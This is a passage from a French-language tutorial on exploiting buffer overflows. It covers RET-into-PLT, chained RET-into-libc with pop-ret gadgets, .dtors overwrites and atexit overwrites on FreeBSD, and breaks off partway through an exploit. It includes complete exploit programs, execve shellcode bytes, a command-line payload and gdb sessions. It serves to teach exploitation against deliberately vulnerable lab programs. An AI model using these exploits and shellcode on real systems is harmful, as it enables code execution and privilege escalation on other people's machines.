  2360. La Global Offset Table (GOT) est un tableau stocké dans la section .data qui contient
  2361. des pointeurs sur des objets. C’est le rôle du dynamic linker de mettre à jour ces
  2362. pointeurs quand ces objets sont utilisés.
  2363. Lorsqu’un programme utilise dans son code une fonction externe, par exemple la
  2364. fonction libc system(), le CALL ne saute pas directement dans la libc mais dans une
  2365. entrée de la PLT (Procedure Linkage Table). La première instruction dans cette
  2366. entrée PLT va sauter dans un pointeur stocké dans la GOT (Globale Offset Table). Si
  2367. cette fonction system() est appelée pour la première fois, l’entrée correspondante dans
  2368. la GOT contient l’adresse de la prochaine instruction à exécuter de la PLT qui va
  2369. pusher un offset et sauter à l’entrée 0 de la PLT. Cet entrée 0 contient du code pour
  2370. appeler le runtime dynamic linker pour la résolution de symbole et ensuite stocker
  2371. 59/92
  2372. l’adresse du symbole. Ainsi les prochaines fois que system() sera appelé dans le
  2373. programme, l’entrée PLT associée à cette fonction redirigera le programme
  2374. directement au bon endroit en libc car l’entrée GOT correspondante contiendra
  2375. l’adresse dans la libc de system().
  2376. Cette approche où la résolution d’un symbole est faite uniquement lorsqu’il est requis
  2377. et non dès l’appel du programme s’appelle lazy symbol bind (résolution tardive de
  2378. symboles). C’est le comportement par défaut d’un ELF. La résolution de symboles
  2379. dès l’appel du programme peut être forcée en donnant la valeur 1 à la variable shell
  2380. LD_BIND_NOW.
  2381. 9.4.2 RET-into-PLT
  2382. S’il l’on ne peut pas sauter directement en libc car les adresses contiennent toutes un
  2383. byte 0, on peut toujours sauter dans la section PLT. Le problème est que la fonction
  2384. libc que nous voulons utiliser doit exister dans le programme vulnérable pour qu’elle
  2385. possède une entrée dans la PLT.
  2386. Par exemple, si un programme vulnérable utilise la fonction system(), on peut
  2387. réutiliser notre exploit RET-into-libc en modifiant simplement l’adresse libc system()
  2388. spéficiée au début de l’exploit par celle de l’entrée PLT de la fonction system() dans
  2389. ce programme. En effet, contrairement aux adresses libc sous Openwall, les adresses
  2390. de la PLT se trouve dans la section .text du programme et ne contiennent donc jamais
  2391. de byte 0. Une string /bin/sh quant à elle peut être placée dans une variable
  2392. d’environnement ou dans un argument du programme.
  2393. Cependant, il y a donc une limitation : la présence de la fonction system() dans le
  2394. programme vulnérable. Si cette fonction n’est pas présente, on peut aussi espérer la
  2395. présence de fonctions exec*() en utilisant une approche très similaire. Par exemple,
  2396. dans l’exploit RET-into-PLT de Kil3r contre le programme xterm, grâce à la présence
  2397. de la fonction execlp() dans le programme vulnérable, l’exploit retourne sur la PLT de
  2398. cette fonction. Mais dans un programme, la présence des fonctions system() ou
  2399. exec*() est rare. Il nous faut donc une technique qui profite plus efficacement de la
  2400. PLT.
  2401. On sait que l’écrasante majorité des programmes utilisent par contre les fonctions
  2402. strcpy() ou sprintf(). Nous allons élaborer avec la fonction strcpy() une méthode RET-
  2403. into-PLT capable d’exploiter notre programme vulnérable. Dans notre prochain
  2404. exploit, l’adresse de retour du programme vulnérable est écrasée par l’adresse PLT de
  2405. strcpy(); notre programme vulnérable utilisant la fonction strcpy(), il y possède donc
  2406. une entrée PLT. Avec strcpy(), nous déplaçons notre shellcode vers une zone
  2407. exécutable. Pour que la copie puisse s’effectuer il faut aussi que la zone soit writeable.
  2408. La fonction strcpy() copie un shellcode dans une zone writable. Dans notre payload
  2409. nous faisons suivre notre adresse PLT de strcpy() par l’adresse du shellcode qui sera
  2410. copiée. Ainsi quand la fonction strcpy() retournera, le programme sautera dans la zone
  2411. où nous y avons placé un shellcode.
  2412. Pour faciliter l’exploitation, nous utilisons pour cet exemple un programme
  2413. vulnérable légèrement différent pour qu’il contienne une zone writeable et exécutable
  2414. (section data).
  2415. 60/92
  2416. 1 #include <stdio.h>
  2417. 2
  2418. 3 char bufdata[1024] = "Ceci est un buffer dans .data";
  2419. 4
  2420. 5 main (int argc, char *argv[])
  2421. 6 {
  2422. 7 char buffer[512];
  2423. 8
  2424. 9 if (argc > 1)
  2425. 10 strcpy(buffer,argv[1]);
  2426. 11 }
  2427. L’exploit pour ce programme construit le payload que nous avons décrits plus haut.
  2428. Le shellcode est placé dans une variable d’environnement et on a utilisé execle() pour
  2429. déterminer trivialement l’adresse du shellcode dans la pile. Voici l’exploit :
  2430. 1 /*
  2431. 2 * sample ret-into-plt exploit
  2432. 3 */
  2433. 4
  2434. 5 #include <stdio.h>
  2435. 6
  2436. 7 #define PLTSTRCPY 0x8048304
  2437. 8 #define ADDRDATA 0x80494a0
  2438. 9 #define ALIGN 0
  2439. 10
  2440. 11 char sc[]=
  2441. 12 "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
  2442. 13 "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
  2443. 14
  2444. 15
  2445. 16 main(int argc, char *argv[]) {
  2446. 17
  2447. 18 char *env[2] = {sc, NULL};
  2448. 19 char shellbuf[532+ALIGN]; /* 20+3*4+1+ALIGN */
  2449. 20 int *ptr;
  2450. 21 int ret = 0xbffffffa - strlen(sc)-strlen("/home/ouah/vuln9
  2451. ");
  2452. 22
  2453. 23 memset(shellbuf, 0x41, sizeof(shellbuf));
  2454. 24 shellbuf[sizeof(shellbuf)-1] = 0;
  2455. 25
  2456. 26 ptr = (int *)(shellbuf+516+ALIGN);
  2457. 27 *ptr++ =PLTSTRCPY;
  2458. 28 *ptr++ =ADDRDATA;
  2459. 29 *ptr++ =ADDRDATA;
  2460. 30 *ptr++ =ret;
  2461. 31
  2462. 32
  2463. 33 printf(" return-into-PLT exploit\n");
  2464. 34 execle("/home/ouah/vuln9","
  2465. vuln9",shellbuf+ALIGN,NULL, env);
  2466. 35 }
  2467. 61/92
  2468. Certaines valeurs dans des defines nécessitent d’être fixées pour rendre l’exploit
  2469. fonctionnel : l’adresse PLT de strcpy() et une adresse valide dans la section .data.
  2470. Utilisons gdb pour obtenir l’adresse PLT de strcpy() du programme vulnérable.
  2471. ouah@weed:~$ gdb vuln9 -q
  2472. (gdb) p strcpy
  2473. $1 = {<text variable, no debug info>} 0x8048304 <strcpy>
  2474. L’adresse 0x8048304 est l’adresse PLT de strcpy().
  2475. Choisissons maintenant une adresse qui appartient à la section .data et qui ne contient
  2476. pas de 0.
  2477. ouah@weed:~$ size -A -x vuln9 | grep ^.data
  2478. .data 0x420 0x8049460
  2479. Nous prendrons par exemple l’adresse 0x80494a0. Nous avons toutes les adresses
  2480. pour faire fixer l’exploit et le faire fonctionner correctement.
  2481. ouah@weed:~$ ./ex10
  2482. return-into-PLT exploit
  2483. sh-2.05$ exit
  2484. exit
  2485. ouah@weed:~$
  2486. Remarquons au passage, que le shellcode est exécuté malgré qu’il se trouve dans la
  2487. zone .data dont les pages ne possèdent pas le bit d’exécution (rw-), cela
  2488. conformément aux règles énoncées au chapitre 9.2.
  2489. Une autre technique RET-into-PLT fonctionne même si la section .data n’est pas
  2490. exécutable, en écrasant une entrée de la GOT de la fonction pour la faire passer pour
  2491. system() par exemple. Une techniques utilisant la GOT sera utilisées et explicité dans
  2492. le chapitre consacré au heap overflow.
  2493. 9.5 RET-into-libc chaîné
  2494. Un des désavantages de la méthode return-into-libc est que l’on peut appeler très peu
  2495. de fonctions à la suite car les adresses de retour de l’un finissent par écraser les
  2496. paramètres de l’autre. Dans notre exploit du chapitre 9.1, il n’était ainsi pas possible
  2497. d’ajouter encore une fonction (par exemple un appel à setuid()) car son adresse aurait
  2498. du être au même endroit que le paramètre de la fonction system(). Pour résoudre ce
  2499. problème, il faut pouvoir modifier la valeur du pointeur de pile entre deux appels de
  2500. fonctions afin de décaler des valeurs qui se juxtaposent.
  2501. Afin de décaler la valeur du registre %esp (pointeur du sommet de la pile), il faut
  2502. trouver des séquences d’instruction en library ou dans le programme vulnérable qui
  2503. modifient %esp puis retournent (en effet vu que le but est de sauter dans ce code).
  2504. Par exemple :
  2505. 62/92
  2506. add $0x10,%esp
  2507. ret
  2508. ou
  2509. pop %ecx
  2510. pop %eax
  2511. ret
  2512. Au chapitre, nous avons vu que l’épilogue d’une fonction se termine par les
  2513. instructions leave et ret. Nous ne trouverons donc pas de telles séquences dans notre
  2514. programme vulnérable. Ces séquences par peuvent se retrouver dans du code s’il a été
  2515. compilé avec l’option d’optimisation –fomit-frame-pointer de gcc. Cette option
  2516. n’utilise pas un registré pour le frame pointer pour les fonctions qui n’en ont pas
  2517. besoin, afin d’avoir un registre supplémentaire à disposition.
  2518. Des telles séquence sont néanmoins présentes dans la libc. Désassemblons le code de
  2519. la libc à la recherche d’une séquence pop et ret.
  2520. ouah@weed:~$ objdump -d /lib/libc.so.6 | grep -B 1 ret | grep pop
  2521. 2c519: 5a pop %edx
  2522. 4b888: 61 popa
  2523. 4b9ce: 61 popa
  2524. 4bc06: 5f pop %edi
  2525. ...
  2526. 76e8f: 5e pop %esi
  2527. 77984: 5f pop %edi
  2528. 77aed: 5f pop %edi
  2529. cddd4: 58 pop %eax
  2530. ouah@weed:~$
  2531. On trouve une vingtaine d’occurrences. Avec gdb, nous allons regarder cela de plus
  2532. près avec un offset pris au hasard:
  2533. ouah@weed:~$ gdb /lib/libc.so.6 -q
  2534. (gdb) disassemble 0xcddd4
  2535. Dump of assembler code for function mcount:
  2536. 0xcddb0 <mcount>: push %eax
  2537. 0xcddce <mcount+30>: call *%eax
  2538. 0xcddd0 <mcount+32>: pop %ecx
  2539. 0xcddd1 <mcount+33>: pop %eax
  2540. 0xcddd2 <mcount+34>: pop %edx
  2541. 0xcddd3 <mcount+35>: pop %ecx
  2542. 0xcddd4 <mcount+36>: pop %eax
  2543. 0xcddd5 <mcount+37>: ret
  2544. 0xcddd6 <mcount+38>: nop
  2545. 0xcdddf <mcount+47>: nop
  2546. End of assembler dump.
  2547. (gdb)
  2548. Par chance nous sommes tombés sur une séquence de 4 pop à la suite! Nous pourrons
  2549. donc utiliser des fonctions qui contiennent jusqu’à 4 paramètres.
  2550. 63/92
  2551. Comme un exemple est souvent plus claire, nous allons décrire notre prochain exploit.
  2552. Nous utiliserons encore le code vulnérable du chapitre 4 (vuln2.c). Notre but est de
  2553. simuler l’action d’un cmdshellcode (évoqué au chapitre 8). Avec l’enchaînement des
  2554. commandes suivantes :
  2555. gets(a);
  2556. system(a) ;
  2557. exit(0);
  2558. Notre programme une fois exploité attends une commande avec la fonction gets() puis
  2559. l’exécute avec la commande system() et enfin sort proprement avec exit(). Avec un
  2560. return-into-libc simple (non-chaîné), il n’est pas possible d’exécuter ces 2 fonctions à
  2561. la suite car l’adresse de exit() chevaucherait le premier argument de la fonction gets().
  2562. Voici l’exploit, il est commenté plus bas.
  2563. 1 /*
  2564. 2 * chained ret-into-libc exploit
  2565. 3 * for vuln2.c by OUAH (c) 2002
  2566. 4 * ex11.c
  2567. 5 */
  2568. 6
  2569. 7 #include <stdio.h>
  2570. 8 #include <unistd.h>
  2571. 9
  2572. 10 #define LIBBASE 0x40025000
  2573. 11 #define MYSYSTEM (LIBBASE+0x48870)
  2574. 12 #define MYEXIT (LIBBASE+0x2efe0)
  2575. 13 #define MYGETS (LIBBASE+0x64da0)
  2576. 14 #define MYBINSH 0x40121c19
  2577. 15 #define DUMMY 0x41414141
  2578. 16 #define ALIGN 1
  2579. 17 #define POP1 (LIBBASE+0xcddd4)
  2580. 18 #define POP2 (LIBBASE+0xcddd3)
  2581. 19 #define POP3 (LIBBASE+0xcddd2)
  2582. 20 #define POP4 (LIBBASE+0xcddd1)
  2583. 21 #define STACK 0xbffff94c
  2584. 22
  2585. 23 main(int argc, char *argv[]) {
  2586. 24
  2587. 25 char shellbuf[64];
  2588. 26 int *ptr;
  2589. 27
  2590. 28 memset(shellbuf, 0x41, sizeof(shellbuf));
  2591. 29
  2592. 30 ptr = (int *)(shellbuf+20+ALIGN);
  2593. 31 *ptr++ =MYGETS;
  2594. 32 *ptr++ =POP1;
  2595. 33 *ptr++ =STACK;
  2596. 34 *ptr++ =MYSYSTEM;
  2597. 35 *ptr++ =POP1;
  2598. 36 *ptr++ =STACK;
  2599. 37 *ptr++ =MYEXIT;
  2600. 38 *ptr++ =DUMMY;
  2601. 39 *ptr =0;
  2602. 40
  2603. 41
  2604. 42 printf(" chained ret-into-libc exploit by OUAH (c)
  2605. 2002\n");
  2606. 64/92
  2607. 43 printf(" Enjoy your shell!\n");
  2608. 44 execl("/home/ouah/vuln2","vuln2",shellbuf+ALIGN,NULL);
  2609. 45 }
  2610. Nous faisons suivre dans l’exploit chacun appel de fonctions du même nombre de
  2611. POP qu’elles ont de paramètres. Les adresses des POP (lignes 17 à 20) sont obtenues
  2612. avec les offsets que nous avons trouvé plus haut en désassemblant la libc. Nos
  2613. fonctions gets() et system() ayant toutes les deux un seul argument, l’adresse de POP1
  2614. suffit dans notre exploit. Par exemple, quand le programme vulnérable (via l’exploit)
  2615. exécute gets() (ligne 31), il returne sur POP1 qui va décaler la pile pour que le ret de
  2616. POP1 tombe sur system() et pas sur le paramètre de gets().
  2617. Avant de tester l’exploit, il convient de fixer les adresses inconnues des #define, ce
  2618. que nous savons maintenant faire. La valeur STACK correspond à un endroit dans le
  2619. buffer vulnérable où est stocké l’entrée de gets() et se détermine ainsi :
  2620. ouah@weed:~$ gcc -g vuln2.c -o vuln2
  2621. ouah@weed:~$ gdb vuln2 -q
  2622. (gdb) b main
  2623. Breakpoint 1 at 0x80483ea: file vuln2.c, line 8.
  2624. (gdb) r
  2625. Starting program: /home/ouah/vuln2
  2626. Breakpoint 1, main (argc=1, argv=0xbffff9c4) at vuln2.c:8
  2627. 8 if (argc > 1)
  2628. (gdb) p &buffer
  2629. $1 = (char (*)[16]) 0xbffff94c
  2630. Exécutons notre exploit :
  2631. ouah@weed:~$ ./exch
  2632. chained ret-into-libc exploit by OUAH (c) 2002
  2633. Enjoy your shell!
  2634. Le programme attend une commande:
  2635. id
  2636. uid=1006(ouah) gid=100(users) groups=100(users)
  2637. ouah@weed:~$
  2638. puis l’exécute et sort.
  2639. Un désavantage de cette méthode pour chaîner des appels de fonctions est que si le
  2640. programme n’est pas compilé en –fomit-frame-pointer (soit dans l’écrasante majorité
  2641. des situations) nous devons utiliser ces séquences pop & ret en library. Or on sait que
  2642. sur certain patchs kernels, les adresses libc sont difficilement accessibles avec un
  2643. exploit (Openwall a des 0 dans toutes les adresses libc et Pax randomize les adresses
  2644. libc à chaque exécution). Une autre technique existe aussi pour chaîner des appels libc
  2645. avec l’épilogue classique d’une fonction (leave & ret) en fabriquant autant de fake
  2646. frame qu’il y a de fonctions.
  2647. 65/92
  2648. 9.6 RET-into-libc sur d’autres architectures
  2649. Solaris propose depuis sa version 2.6 une stack non exécutable activable en mettant à1
  2650. la variable noexec-user-stack du fichier /etc/system. La stack est cependant exécitable
  2651. par défaut et plusieurs spécialistes Sun recommande aux administrateurs ne pas
  2652. activer cette fonctionnalité pour ne pas altérer le fonctionnement de certains
  2653. programmes. Les attaque de type return-into-libc (et return-into-libc chaîné) sont
  2654. cependant efficaces pour contourner la protection si la pile non-exécutable est
  2655. activée.
  2656. Nous avons fait mention au chapitre 3.6 que le système d’exploitation Tru64 depuis sa
  2657. version 5.0 a réinstauré une pile non-exécutable par défaut. Le processeur Alpha sous
  2658. lequel Tru64 est en 64 bits ce qui rend pratiquement impossible une exploitation
  2659. return-into-libc à cause des nombreux 0 contenus dans les adresse mémoires. Il n’est
  2660. en effet aligner pas possible d’aligner plusieurs adresses dans le payload, car un 0
  2661. annonce immédiatement la fin du payload.
  2662. Nous terminerons ce chapitre sur les piles exécutables en disant quelques mots sur le
  2663. patch kernel Linux Pax qui n’a pas été abordé ici. Ce patch réussit la prouesse sous
  2664. x86 d’assurer la non-exécutabilité des pages mémoires (pas uniquement la pile). De
  2665. plus il possède plusieurs fonctionnalités qui rendent l’exploitation de buffer overflow
  2666. souvent impossible voir très ardue. Sous Pax , les adresses libc ainsi que celles de la
  2667. pile sont randomizée à chaque exécution. De plus, Pax inclut une library qui permet
  2668. de compiler les programme de telle sorte que la section .text soit également
  2669. randomizée à chaque exécution. Il existe toutefois quelques méthodes qui rendent
  2670. l’exploitation de certains overflows théoriquement exploitables. Une méthode, sur le
  2671. modèle du return-into-plt mais en plus complexe, consiste à retrouver certaines des
  2672. adresses libc avec le mécanisme dl-resolve() utilisé par la PLT pour résoudre ses
  2673. propres fonctions. Une autre méthode consiste à brute-forcer les adresses inconnues
  2674. de fonctions telles que system() en libc (pour autant que le programme segvguard
  2675. mentionné au chapitre 9.1 ne soit pas actif).
  2676. 66/92
  2677. 10. Heap Overflow
  2678. «Exploiting buffer overflows
  2679. should be an art »,
  2680. Solar Designer
  2681. Les buffer overflows que nous avons vu précédemment avaient tous lieu dans la pile.
  2682. Dans ce chapitre sur les heap overflows, nous nous intéressons aux buffers overflow
  2683. qui ont lieu dans les autres segments mémoires que la pile : la section data, bss et
  2684. heap. Les sections suivantes montrent plusieurs conjonctures qui rendent
  2685. l’exploitation des heap overflows possible. Nous verrons enfin dans la section 10.x, la
  2686. technique la plus puissante pour l’exploitation de ces heap overflow : la malloc()
  2687. corruption.
  2688. 10.1 Data based overflow et la section DTORS
  2689. Bien qu’il soit assez rare de voir des buffer overflows dans la section data, nous
  2690. montrerons cet exemple surtout comme prétexte pour parler de la section .DTORS.
  2691. Les lignes qui suivent constituent le programme vulnérable :
  2692. 1 /* abo7.c (vuln10.c) *
  2693. 2 * specially crafted to feed your brain by gera@core-sdi.com
  2694. */
  2695. 3
  2696. 4 /* sometimes you can, *
  2697. 5 * sometimes you don't *
  2698. 6 * that's what life's about */
  2699. 7
  2700. 8 char buf[256]={1};
  2701. 9
  2702. 10 int main(int argv,char **argc) {
  2703. 11 strcpy(buf,argc[1]);
  2704. 12 }
  2705. Cet exemple, abo7.c, provient du site de gera dans la section « Advanced buffer
  2706. overflow » qui propose un challenge de plusieurs programmes vulnérables sans
  2707. solution qu’il s’agit d’exploiter.
  2708. Contrairement, aux stacks overflows, dans les heap overflows, nous n’avons pas de
  2709. registre %eip sauvegardé près du buffer vulnérable. Cepedant, en regardant
  2710. l’organisation des sections du programmes, on voit que la section .data se situe un peu
  2711. avant la section .dtors.
  2712. 67/92
  2713. ouah@weed:~$ size -A -x vuln10
  2714. vuln10 :
  2715. section size addr
  2716. .data 0x120 0x8049460
  2717. .eh_frame 0x4 0x8049580
  2718. .ctors 0x8 0x8049584
  2719. .dtors 0x8 0x804958c
  2720. Un programme ELF est constitué des sections .ctors et .dtors qui sont respectivement
  2721. les constructeurs et les destructeurs du programme. Ce sont deux attributs du
  2722. compilateurs gcc, qui permettent l’exécution de fonctions avant l’appel à la fonction
  2723. main() et avant le dernier exit() du programme. Ces deux sections sont writeable par
  2724. défaut. Ainsi, en faisant déborder le buffer vulnérable de la section .data nous
  2725. arrivons à écrire dans la section .dtors et à exécuter du code à la sortie de notre
  2726. programme.
  2727. Voici comment s’organisent ces sections .ctors et .dtors :
  2728. 0xffffffff <adresse fonction1> <adresse fonction2> . . . 0x00000000
  2729. Il suffit donc d’écraser <adresse fonction1> par une adresse qui pointe dans du code à
  2730. nous, pour qu’il soit exécutée lorsqu’on sort du programme. Pour exploiter notre
  2731. exemple, nous mettons un shellcode au début du buffer vulnérable puis son adresse
  2732. dans la section .dtors.
  2733. Même si le programmeur n’a pas défini de fonctions pour ces attributs, ces sections
  2734. résident quand même en mémoire. Dans notre programme, la section .dtors est vide :
  2735. ouah@weed:~$ objdump -s -j .dtors vuln10
  2736. vuln10: file format elf32-i386
  2737. Contents of section .dtors:
  2738. 804958c ffffffff 00000000 ........
  2739. Lançon gdb sur notre programme :
  2740. ouah@weed:~$ gdb vuln10 -q
  2741. (gdb) mai i s
  2742. Exec file:
  2743. `/home/ouah/vuln10', file type elf32-i386.
  2744. 0x0804958c->0x08049594 at 0x0000058c: .dtors ALLOC LOAD DATA
  2745. HAS_CONTENTS
  2746. (gdb) x/2 0x0804958c
  2747. 0x804958c <__DTOR_LIST__>: 0xffffffff 0x00000000
  2748. (gdb) p &buf
  2749. $1 = (char (*)[256]) 0x8049480
  2750. (gdb) p (0x804958c+4) - 0x8049480
  2751. $2 = 272
  2752. 68/92
  2753. Nous obtenons donc l’adresse de notre buffer (0x8049480) et le nombre d’octets
  2754. depuis notre buffer jusqu’à l’adresse en DTORS à écraser. Nous avons donc toutes les
  2755. informations pour exploiter notre programme.
  2756. ouah@weed:~$ ./vuln10 `printf
  2757. "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd
  2758. \x80"``perl -e 'print "A"x248'``printf "\x80\x94\x04\x08"`
  2759. sh-2.05$
  2760. Nous avons utilisé le même shellcode de 24 octets que précédemment, ainsi la
  2761. différence depuis la fin du shellcode jusqu’à l’adresse à écraser est de 272-24=248.
  2762. N’oublions non plus que nous sommes en Litlle endian et que l’adresse 0x8049480 se
  2763. code donc \x80\x94\x04\x08. Remarquons aussi qu’il n’est pas nécessaire
  2764. d’ajouter la valeur 0xffffffff en tête de section .dtors pour que les fonctions soient
  2765. exécutés. Dans notre exploit, des valeurs « A» ont été utilisées et tout fonctionne
  2766. correctement.
  2767. Comme l’a dit plus haut il est rare qu’un buffer overflow se produise dans la section
  2768. data. Cette technique est toutefois utile car elle montre que si l’on a l’a capacité
  2769. d’écrire dans une zone arbitraire de la mémoire du processus, on a ainsi la capacité de
  2770. rediriger le cours de son exécution. Cette technique est notamment fréquemment
  2771. utilisée dans l’exploitation de format bugs. L’avantage de cette méthode est qu’il est
  2772. facile d’obtenir les adresses nécessaires à son exécution si le binaire est readable
  2773. simplement avec un programme comme objdump. Le désavantage par contre est que
  2774. contrairement à la technique qui consistait à écraser la valeur de retour sur la pile de la
  2775. fonction contenant le buffer vulnérable où notre malicieux était exécuté dès la sortie
  2776. de la fonction, il faut maintenant attendre la fin du programme, soit à l’exécution de
  2777. exit(). Dans certaines conditions, il est ainsi difficile de garder un shellcode intacte
  2778. jusqu’à la fin du programme. Enfin pour bénéficier de ces destructors, le programme
  2779. doit avoir été compilé avec le compilateur C GNU.
  2780. 10.2 BSS based overflow et les atexit structures
  2781. Notre prochain programme vulnérable contient un overflow dans un buffer stocké
  2782. dans la section .bss.
  2783. 1 #include <string.h>
  2784. 2
  2785. 3 int main(int argc, char *argv[])
  2786. 4 {
  2787. 5 static char buf[64];
  2788. 6
  2789. 7 if (argc > 1)
  2790. 8 strcpy(buf, argv[1]);
  2791. 9 }
  2792. En fait, il n’est pas possible dans l’état d’exploiter un programme comme celui-ci. Il
  2793. n’est pas possible d’écraser la section DTORS par exemple car celle-ci se trouve
  2794. avant la section .bss. Si l’on regarde avec la commande size l’organisation des
  2795. sections, on remarque de plus que la section .bss est la dernière section.
  2796. ouah@weed:~$ size -A -x vuln11 | tail
  2797. .dynamic 0xa0 0x80494a0
  2798. 69/92
  2799. .sbss 0x0 0x8049540
  2800. .bss 0x60 0x8049540
  2801. .stab 0x78c 0x0
  2802. .stabstr 0x18e9 0x0
  2803. .comment 0xe4 0x0
  2804. .note 0x78 0x0
  2805. Total 0x2679
  2806. En fait, dans la section .bss (plus précisément après notre variable) il n’y a non plus
  2807. rien d’intéressant à écraser pour reprendre le contrôle du programme ou pour profiter
  2808. des privilèges du programme vulnérable. La seule manière donc de faire segfaulter le
  2809. programme, c’est en envoyant assez de données pour que le programme écrive dans
  2810. un segment qui ne lui a pas été alloué (soit un peu après la fin de la section .bss).
  2811. Notre programme est par contre exploitable s’il a été compilé en static! En effet, s’il
  2812. est compilé en static, l’organisation de la mémoire est un peu bousculé et certaines
  2813. structures sont placées après notre buffer vulnérable, qui si elles sont écrasée
  2814. modifient le cours de l’exécution du programme. Il s’agit des structures atexit qui par
  2815. le biais de la fonction atexit() autorisent le programme à enregistrer des fonctions qui
  2816. sont exécutées au moment où le programme exit(). Ces structures se retrouvent en
  2817. mémoire même si la fonction atexit() n’a pas été utilisé dans le programme. Ces
  2818. structures sont habituellement situées dans l’adressage de la libc mais compilé en
  2819. static elles passent subitement en .bss.
  2820. Tout d’abord, notre programme ne fait aucun un appel à exit() en sortie, comment
  2821. donc des fonction enregistrées avec atexit() pourrait-elles être exécutées? En fait dans
  2822. un programme, après que main() retourne, si elle n’exit() pas, un exit() a lieu de toutes
  2823. façon à la fin. On peut le vérifier avec la commande strace :
  2824. ouah@weed:~$ strace vuln11 AAA
  2825. execve("./vuln11", ["vuln11", "AAA"], [/* 33 vars */]) = 0
  2826. brk(0) = 0x80495a0
  2827. getpid() = 12851
  2828. _exit(134518112) = ?
  2829. Cette technique ne fonctionne par contre malheureusement pas sous Linux, car ces
  2830. structures sont placées dans la section .data, qui se trouve en mémoire avant la section
  2831. .bss. Voyons cela.
  2832. La structure atexit porte le nom de __exit_funcs sous Linux. Voici son adresse, si le
  2833. programme est compilé normalement :
  2834. ouah@weed:~$ make vuln11
  2835. cc vuln11.c -o vuln11
  2836. ouah@weed:~$ gdb vuln11 -q
  2837. (gdb) b main
  2838. Breakpoint 1 at 0x80483ea
  2839. (gdb) r
  2840. Starting program: /home/ouah/vuln11
  2841. Breakpoint 1, 0x80483ea in main ()
  2842. (gdb) p __exit_funcs
  2843. $1 = (struct exit_function_list *) 0x40131b40
  2844. 70/92
  2845. Soit dans l’adresssage de la libc, et voici maintenant où se situe cette structure si le
  2846. programme a été compilé statiquement :
  2847. ouah@weed:~$ gcc -static vuln11.c -o vuln11
  2848. ouah@weed:~$ objdump -t vuln11 | grep __exit_funcs
  2849. 00000000080963ac g O .data 0000000000000004 __exit_funcs
  2850. Cette structure étant situé avant notre buffer, dans la section .data sous Linux, il n’est
  2851. pas possible de l’écraser.
  2852. Sous d’autres systèmes d’exploitation, par exemple FreeBSD, elle se trouve en .bss et
  2853. il est alors possible de l’écraser. Nous allons exploiter le programme vulnérable,
  2854. lorsqu’il est compilé en static, sous FreeBSD.
  2855. Sur FreeBSD, cette structure se nomme, __atexit.
  2856. [ouah@jenna]-(16:48:58) # gcc –g -static vuln11.c -o vuln11
  2857. [ouah@jenna]-(17:23:01) # objdump -t vuln11 | grep __atexit
  2858. 0804bbfc g O .bss 00000004 __atexit
  2859. De plus, elle est située en .bss après l’adresse de notre buffer :
  2860. [ouah@jenna]-(17:26:05) # gdb vuln11 -q
  2861. (gdb) b main
  2862. Breakpoint 1 at 0x80481ca: file vuln11.c, line 7.
  2863. (gdb) r
  2864. Starting program: /home/ouah/test/vuln11
  2865. Breakpoint 1, main (argc=1, argv=0xbfbffc4c) at vuln11.c:7
  2866. 7 if (argc > 1)
  2867. (gdb) p &buf
  2868. $1 = (char (*)[64]) 0x804bac0
  2869. Il nous est donc possible d’écraser cette structure atexit(). Voici comment est défini la
  2870. structure atexit() :
  2871. struct atexit {
  2872. struct atexit *next;
  2873. int ind;
  2874. void (*fns[ATEXIT_SIZE])();
  2875. };
  2876. Le buffer fns[] est un tableau de pointeur fonctions qui sont exécutées dès que exit()
  2877. est appelé. La variable ind est un indexe de la prochaine case vide du tableau fns, ainsi
  2878. quand la fonction atexit() et appelé, fns[ind] est mis à jour est ind est incrémenté à la
  2879. prochaine case vide de fns. Le champ next (NULL par défaut) sert à allouer une
  2880. structure supplémentaire si le tableau fns est complètement rempli.
  2881. On aimerait donc placer un shellcode en début de notre buffer vulnérable et ainsi
  2882. d’écraser la structure atexit avec les suivantes :
  2883. (next) 0x00000000
  2884. 71/92
  2885. (ind) 0x00000001
  2886. (fns[0]) 0x0804bac0
  2887. (fns[1]) 0x00000000
  2888. Le problème qui se pose est évident, nous ne pouvons pas insérér de 0 dans notre
  2889. payload. De plus, exit() exécute les fonctions de fns en commençant par la dernière
  2890. structure atexit enregistrée, il n’est dont pas possible de mettre n’importe quelle autre
  2891. valeur dans le champ next.
  2892. Une méthode pour résoudre ce problème est de faire pointer (appelons notre structure
  2893. p) p->next à un endroit mémoire qui contient déjà un agencement semblable des
  2894. données. Et cet emplacement existe bel et bien! Les arguments d’un programme
  2895. quand il est exécuté sont stockées exactement sous le même schéma.
  2896. Vérifions cela :
  2897. [ouah@jenna]-(17:58:05) # gdb vuln11 -q
  2898. (gdb) r A B C
  2899. Starting program: /home/ouah/test/vuln11 A B C
  2900. Program exited with code 0300.
  2901. (gdb) q
  2902. [ouah@jenna]-(17:59:37) # gdb vuln11 -q
  2903. (gdb) b main
  2904. Breakpoint 1 at 0x80481ca: file vuln11.c, line 7.
  2905. (gdb) r A B C
  2906. Starting program: /home/ouah/test/vuln11 A B C
  2907. Breakpoint 1, main (argc=4, argv=0xbfbffc38) at vuln11.c:7
  2908. 7 if (argc > 1)
  2909. (gdb) x/7 argv-2
  2910. 0xbfbffc30: 0x00000000 0x00000004 0xbfbffd10
  2911. 0xbfbffd25
  2912. 0xbfbffc40: 0xbfbffd27 0xbfbffd29 0x00000000
  2913. Pour exploiter notre programme nous allons écraser p->next avec l’adresse de notre
  2914. fausse structure argv et p->ind avec un nombre négatif (0xffffffff par exemple) pour
  2915. pas que notre vraie structure atexit soit exécutée. Ceci constitue donc notre payload et
  2916. l’argument 1 du programme. Notre deuxième argument contiendra lui notre shellcode.
  2917. Voici l’exploit :
  2918. 1 #include <stdio.h>
  2919. 2
  2920. 3 #define PROG "./vuln11"
  2921. 4 #define HEAP_LEN 64
  2922. 5
  2923. 6 int main(int argc, char **argv)
  2924. 7 {
  2925. 8 char **env;
  2926. 9 char **arg;
  2927. 10 char heap_buf[150];
  2928. 11
  2929. 12 char eggshell[]= /* lsd-pl bsd shellcode */
  2930. 13 "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
  2931. 14 "\x50\x54\x53\x50\xb0\x3b\xcd\x80";
  2932. 72/92
  2933. 15
  2934. 16 memset(heap_buf, 'A', HEAP_LEN);
  2935. 17 *((int *) (heap_buf + HEAP_LEN)) = (int) argv - (2 *
  2936. sizeof(int));
